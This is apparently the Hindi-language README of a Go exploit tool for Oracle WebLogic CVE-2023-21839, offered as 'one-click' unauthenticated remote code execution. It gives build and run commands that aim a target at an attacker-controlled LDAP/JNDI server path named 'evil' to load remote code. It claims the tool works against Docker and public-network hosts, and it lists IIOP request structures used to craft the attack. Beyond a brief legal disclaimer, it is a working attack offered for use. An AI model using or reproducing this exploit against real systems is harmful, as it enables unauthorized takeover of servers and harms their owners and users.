
Weblogic CVE-2023-21839 RCE (बिना Java निर्भरता के एक-क्लिक RCE)
इस परियोजना का उपयोग करके अनधिकृत रूप से लक्ष्यों पर हमला करना या परीक्षण करना अवैध है। यह प्रोग्राम केवल अधिकृत सुरक्षा परीक्षण और अनुसंधान उद्देश्यों के लिए होना चाहिए।
Weblogic CVE-2023-21839 RCE
(1) बिना किसी Java निर्भरता के, सॉकेट के माध्यम से प्रोटोकॉल बनाकर सीधे RCE
(2) IIOP के NAT नेटवर्क समस्या को हल किया गया (Docker और सार्वजनिक नेटवर्क लक्ष्यों का परीक्षण किया जा सकता है)
(3) Windows/Mac OS/Linux और Weblogic 12/14 पर परीक्षण सफल रहा
(4) कृपया JDK 8u191 से पुराने संस्करण का उपयोग करके Weblogic चलाएँ और स्वयं JNDI सर्वर सेटअप करें
cd cmd
go build -o CVE-2023-21839
./CVE-2023-21839 -ip 127.0.0.1 -port 7001 -ldap ldap://127.0.0.1:1389/evil

अनुरोध का पता लगाएँ
type LocateRequest struct {
Header *Header
RequestId []byte // 4
TargetAddress []byte // 2
_reserved []byte // 2
_keyAddressLength []byte // 4
KeyAddress []byte // _keyAddressLength
}
अनुरोध हल करें
type ResolveRequest struct {
Header *Header
RequestId []byte // 4
ResponseFlags []byte // 1
_reserved1 []byte // 3
TargetAddress []byte // 2
_reserved2 []byte // 2
_keyAddressLength []byte // 4
KeyAddress []byte // _keyAddressLength
_operationLength []byte // 4
RequestOperation []byte // _operationLength
_reserved3 []byte // 1
ServiceContextList *ServiceContextList
CosNamingDissector []byte // no limit
}
पुनः बाइंड अनुरोध
type RebindRequest struct {
Header *Header
RequestId []byte // 4
ResponseFlags []byte // 1
_reserved1 []byte // 3
TargetAddress []byte // 2
_reserved2 []byte // 2
_keyAddressLength []byte // 4
KeyAddress []byte // _keyAddressLength
_operationLength []byte // 4
RequestOperation []byte // _operationLength
_reserved3 []byte // 2
ServiceContextList *ServiceContextList
StubData []byte // no limit
}